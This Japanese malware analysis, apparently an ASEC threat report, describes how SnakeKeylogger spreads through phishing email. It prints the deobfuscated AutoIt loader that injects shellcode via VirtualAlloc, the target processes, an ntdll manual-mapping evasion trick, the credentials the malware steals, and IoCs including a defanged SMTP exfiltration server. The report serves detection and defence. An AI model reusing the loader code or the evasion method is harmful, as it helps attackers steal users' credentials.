電子メールで配布される SnakeKeylogger マルウェア

ASEC(AhnLab SEcurity intelligence Center)では最近、SnakeKeylogger マルウェアが電子メールで配布される事例を確認した。SnakeKeylogger は、.NET 言語で製作された Infostealer タイプのマルウェアであり、電子メール、FTP、SMTP、または Telegram などを利用したデータ流出方法が含まれることが特徴である。

[図1] フィッシングメールの本文

最初の配布は、[図1]のように電子メールの形式であることが一般的だ。一般的に、比較的センシティブなトピックである金銭的な内容で興味を引き、添付されている実行ファイル(BankTran.exe)を実行するように誘導する。

この BankTran.exe は、AutoIt スクリプトでコンパイルされた実行ファイル(PE)である。内部 AutoIt スクリプトを抽出すると、AutoIt スクリプト1つと、バイナリファイル2つ、合計3つのファイルが抽出される。各ファイル名とその役割は以下の通りである。

ファイル名 種類 役割
{Unknown}.au3 Obfuscated AutoIt Script (Loader) teres をロード
teres ShellCode (Injector) quinquenniad を復号化およびインジェクション
quinquenniad .NET PE (Encrypted SnakeKeylogger) SnakeKeylogger マルウェア

[表1] 抽出されるファイル、種類、役割

以下で AutoIt スクリプトから正常なプロセスに SnakeKeylogger がインジェクションされるまでの過程を確認していく。

[図2] 抽出された AutoIt スクリプト

#NoTrayIcon
FileInstall("quinquenniad", @TempDir & "\quinquenniad", 1)
FileInstall("teres", @TempDir & "\teres", 1)
Global $v30rutgry = Execute('FileRead(FileOpen(@TempDir  & "\teres"))')
$v30rutgry = Execute('StringReplace($V30rUtgRy, "1A6E71D4810309FDFC6D43D3E9A6A999A1918E3376ACA2EEC40F44C89B681ADD6AA0260BDF66FE84DA", "")')
$t33106ba = DllCall(c30te6f("x/)84)2w", "AA"), c30te6f("8:6", "AA"), c30te6f("'928%3:2-2", "AA"), c30te6f("*;38*", "AA"), c30te6f("v", "AA"), c30te6f("*;38*", "AA"), BinaryLen($v30rutgry), c30te6f("*;38*", "AA"), c30te6f("vvvw>v", "AA"), c30te6f("*;38*", "AA"), c30te6f("vv>z", "AA"))
$t33106ba = $t33106ba[0]
$z374vm4oj = DllStructCreate(c30te6f("f):=(", "AA") & BinaryLen($v30rutgry) & c30te6f("!", "AA"), $t33106ba)
DllStructSetData($z374vm4oj, 1, $v30rutgry)
DllCallAddress(c30te6f(":4-", "AA"), $t33106ba + 9136)

この AutoIt スクリプトは、非常に複雑に難読化されているが、復号化ロジックを通して確認された文字列は以下の通りであり、表示される文字列を通じて VirtualAlloc で領域を割り当て、その領域でマルウェアを実行する目的があるものと推測できる。

復号化関数および引数値 結果
c30te6f(“x/)84)2w”, “AA”) Kernel32
c30te6f(“8:6”, “AA”) ptr
c30te6f(“‘928%3:2-2”, “AA”) VirtualAlloc
c30te6f(“;38“, “AA”) dword
c30te6f(“v”, “AA”) 0
c30te6f(“vvvw>v”, “AA”) 0x3000
c30te6f(“vv>z”, “AA”) 0x40
c30te6f(“f):=(“, “AA”) byte [
c30te6f(“!”, “AA”) ]
c30te6f(“:4-“, “AA”) int

[表2] 復号化された文字列

VirtualAlloc で割り当てられた領域には、%Temp% パスに生成した teres(ShellCode)が実行される。

[図3] VirtualAlloc で割り当てられた領域に生成された teres(ShellCode)

ShellCode は、正常なプロセスに SnakeKeylogger マルウェアをインジェクションする役割を担っている。
SnakeKeylogger マルウェアは、同じ %Temp% ディレクトリにある quinquenniad ファイルに暗号化されており、このマルウェアがインジェクションされるプロセスのリストは、以下の通りである。攻撃者はシステム環境に応じて以下のプロセスのうち1つを選択してインジェクションする。

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
C:\Windows\System32\svchost.exe

[図4]のように暗号化された quinquenniad ファイルは、ShellCode 内部において特定キーで復号化される。

[図4] 復号化された SnakeKeylogger マルウェア(quinquenniad)

インジェクションプロセスにおいて、ntdll.dl を手動でマッピングして使用する振る舞いが確認された。
このような振る舞いは、攻撃者が ntdll.dll をフックするアンチウイルス製品の検知を回避するため主に使用する方法であり、関連手法は過去に ASEC ブログでも紹介した[1][2]ことがある。

[図5] ntdll.dll を手動でマッピングする ShellCode

以降、新しく生成したプロセスにインジェクションを実行し、SnakeKeylogger マルウェアが動作する。

分析当時、マルウェア名とは異なり、Keylogger 機能はコード上にのみ存在しており、動作しなかった。これにより、マルウェアの製作プロセスに機能を選択するオプションが存在するという合理的な推測ができる。すなわち、攻撃者が SnakeKeylogger マルウェアをカスタマイズして製作できるということを意味する。結論として、今回の事例で紹介している SnakeKeylogger は情報の窃取機能のみ動作した。システムに存在する電子メール、ブラウザ、FTP、SNS などのサービスを対象に、データ(アカウント情報)を窃取するのである。

以下の表で SnakeKeylogger が動作して窃取する情報を列挙する。

窃取情報 詳細情報 対象のプログラム
Browser Login Data, Web Data, History, Cookies, Top Sites Amigo, Xpom, Kometa, Nichrome, Chrome, CocCoc, QQ Browser, Orbitum, Slimjet, Iridium, Vivaldi, Iron, Chromium, Ghost Browser, Cent Browser, Xvast, Chedot, Superbird, 360 Browser (English, Chinese), Comodo, Brave, Torch, UCBrowser, Blisk, Epic, Avast Browser, Kinza, BlackHawk, Citrio, Urn, Coowon, 7Star, QIP Surf, Sleipnir5, Chrome Canary, ChromePlus, Sputnik, Falkon, Edge, Opera, Liebao, Slim Browser, Firefox, SeaMonkey, IceDragon, CyberFox, PaleMoon, WaterFox
Email IMAP Password, HTTP Password, POP3 Password, SMTP Password, Account Info Outlook, Foxmail, Thunderbird, PostBox
FTP Host, Port, User, Password FileZilla
Etc db, log … Pidgin, Discord

[表3] 窃取される情報

上記の窃取されたユーザー情報は、SMTP を通して攻撃者に送信される。この事例では窃取した情報を SMTP で送信しているが、コード内部には Telegram を利用する方式と、一般的な HTTP 方式で送信する方法も発見されたものの、動作は確認されていない。これもやはり上記で言及した SnakeKeylogger マルウェアをカスタマイズした痕跡といえる。

[図6] 窃取した情報を SMTP を利用して攻撃者に送信

電子メールを利用した攻撃は、過去から継続的に発生しており、出どころの不明なメールの閲覧はとりわけ注意する必要がある。特に、exe 拡張子の実行ファイルが添付されている場合、実行を控えなければならない。

ファイル検知
– Trojan/Win.Autoit.XG85
– Trojan/Win.SnakeKeylogger.R433068
– Trojan/Win.SnakeKeylogger.C5326084
– Trojan/AU3.Loader
– Trojan/BIN.Agent
– Trojan/BIN.Shellcode

MD5

0a6332f1bc58f389e778016d89f411fd

3e473d16c81dd66fee6f02537b601626

7b81359e1bd2a67c1165dde435ea6d88

cdeddd67555c870a0a8602cf341a60cb

e109a03fbb1300f771e86244aea390d2

追加の IoC は ATIP で提供されます。

URL

http[:]//mail[.]tradolgt[.]com[:]587/

関連 IOC および詳細な解析情報は、AhnLab の次世代脅威インテリジェンスプラットフォーム 「AhnLab TIP」 サブスクリプションサービスを通して確認できる。